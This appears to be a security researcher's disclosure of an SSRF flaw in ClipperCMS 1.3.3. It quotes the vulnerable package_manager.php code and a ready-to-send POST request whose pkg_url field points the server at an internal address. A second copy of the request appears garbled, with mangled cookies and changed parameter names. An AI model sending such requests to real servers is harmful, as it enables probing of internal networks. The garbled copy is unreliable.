

master ▾

...

## insight / ClipperCMS SSRF.md



jayus0821 0923

[History](#)

1 contributor

103 lines (70 sloc) | 3.33 KB

...

## PoC

There is a SSRF vulnerability in the pkg\_url parameter of the index.php?a=120 interface in ClipperCMS-clipper\_1.3.3

```
manager\actions\package_manager.php
```

```
if ((@$GET['repo'] || $GET['repo'] === '0') && ctype_digit($GET['repo']) &&
    $GET['repo'] < sizeof($repos)) {

    $mode = 'repo-list';
    $repo_tag = (isset($GET['tag']) && ctype_alpha($GET['tag'])) ? $GET['tag']
: null;
    $PM_cache_idx = $repo_tag ? $repo_tag : 0;

} elseif ($_SERVER['REQUEST_METHOD'] == 'POST') {

    if (@$_POST['pkg_url']) {

        $PM = new PackageManager($modx, $_POST['pkg_url']);
        $mode = 'summarise';

    } elseif (@$_POST['pkg_folder']) {

        $PM = new PackageManager($modx, $_POST['pkg_folder']);
```

```

        $mode = 'summarise';

        } elseif (isset($_FILES['pkg_file']) && $_FILES['pkg_file']['error'] !=
UPLOAD_ERR_NO_FILE) {

            switch($_FILES['pkg_file']['error']) {
                case UPLOAD_ERR_OK:

                    if (is_uploaded_file($_FILES['pkg_file']['tmp_name'])) {
                        $PM = new PackageManager($modx, $_FILES['pkg_file']
['tmp_name'], $_FILES['pkg_file']['name']);
                        $mode = 'summarise';
                    } else {
                        $errmsg = $_lang['package_manager_error_internal'];
                    }

                    break;

                case UPLOAD_ERR_INI_SIZE:
                    $errmsg = $_lang['package_manager_error_filesize'];
                    break;

                default:
                    $errmsg = $_lang['package_manager_error_internal'];
                    break;

            }
            ...

```

<http://xxxx/manager/index.php?a=120>

```

POST /manager/index.php?a=120 HTTP/1.1
Host: 192.168.156.136
Content-Length: 602
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.156.136
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryEJOOp0kky1hQLWB2A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Referer: http://192.168.156.136/manager/index.php?a=120&repo=0

```

Accept-Encoding: gzip, deflate  
Accept-Language: zh,zh-CN;q=0.9  
Cookie: iCMS\_ADMIN\_AUTH=51bf764191\_i3\_t-  
1\_yZJVXGwCgSQ1Xf04exCxVvHn4s8hU09WAjnkVsBo-  
0gp1LoJu3\_X3RBjw9g\_ZEpv5avtlt4MCgPGuzQYz31RXZtB9wWh-Yh5JB6CnhL2H0sg;  
my\_wikiUserID=3; my\_wikiUserName=123;  
4c707ae227f79bf7de196947377b3e3d=da02mk81p3acuoocm7sp7jk4u2;  
PHPSESSID=rfgkmjgnf85n1qcc1ii3rsqag6; SN6310b3eaca4dc=ru28c1conkikqpb0k7ualk29u5  
Connection: close

-----WebKitFormBoundaryEJ0p0kky1hQLWB2A  
Content-Disposition: form-data; name="pkg\_url"

http://192.168.156.136:88/111  
-----WebKitFormBoundaryEJ0p0kky1hQLWB2A  
Content-Disposition: form-data; name="pkg\_file"; filename=""  
Content-Type: application/octet-stream

-----WebKitFormBoundaryEJ0p0kky1hQLWB2A  
Content-Disposition: form-data; name="pkg\_folder"

-----WebKitFormBoundaryEJ0p0kky1hQLWB2A  
Content-Disposition: form-data; name="verbose"

0  
-----WebKitFormBoundaryEJ0p0kky1hQLWB2A  
Content-Disposition: form-data; name="go"

Upload  
-----WebKitFormBoundaryEJ0p0kky1hQLWB2A--



```
1 POST /manager/index.php?w=120 HTTP/1.1
2 Host: 192.168.156.136
3 Content-Length: 602
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: https://192.168.156.136
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEJOp0kkyhQIWB2A
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: https://192.168.156.136/manager/index.php?w=120&resp=0
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN;q=0.9
13 Cookie: LCM8_ADMIN_AUTH=51bf764191_13_t-1_y27090wCp9QIXf04e8CKv9dn488H09WAjnkY8Bo-0ppl0a3J_X3R8jw9g_ZEp05avt1t4MGCP0uzQVz3lRXZt89WWh-Yh5J86CchL2H09gMy_vkl5berID=3; my_vkl5berID=123; 4e707ae2276798478a156847377b3b3da02mk8lp3acuuooc7ep7;k4u2: PHPSES3ID=rtfkmjgncf5n1qcc1l1kzqay6f; SNE310b3eaca4dc=ru28c1oonkikgpb0k7uak29u5
14 Connection: close
15
16 -----WebKitFormBoundaryEJOp0kkyhQIWB2A
17 Content-Disposition: form-data; name="pkg_url"
18
19 http://192.168.156.136:88/111
20 -----WebKitFormBoundaryEJOp0kkyhQIWB2A
21 Content-Disposition: form-data; name="pkg_file"; filename=""
22 Content-Type: application/octet-stream
23
24
25 -----WebKitFormBoundaryEJOp0kkyhQIWB2A
26 Content-Disposition: form-data; name="pkg_folder"
27
28
29 -----WebKitFormBoundaryEJOp0kkyhQIWB2A
30 Content-Disposition: form-data; name="webcode"
31
32 0
33 -----WebKitFormBoundaryEJOp0kkyhQIWB2A
34 Content-Disposition: form-data; name="go"
35
36 Upload
37 -----WebKitFormBoundaryEJOp0kkyhQIWB2A--
38
```

```
1 HTTP/1.1 200 OK
2 Date: Thu, 01 Sep 2022 13:42:27 GMT
3 Server: Apache/2.4.39 (Ubuntu) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/7.0.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Set-Cookie: SNE310b3eaca4dc=ru28c1oonkikgpb0k7uak29u5; path=/; HttpOnly
9 Last-Modified: Thu, 01 Sep 2022 13:42:27 GMT
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12 Content-Length: 4099
13
14 <!doctype html>
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
```

```
time_format: 'HH:mm:ss',
datepicker_max_range: '-10',
remember_last_tab: '',
file_browser: 'korindex'
}
</script>
<script>
//TODO: organize these js function better, maybe in a separate file or manager.js
```

## Acknowledgement

Thanks to the partners who discovered the vulnerability together:

Yi-fei Gao en-ze wang lin-jie wu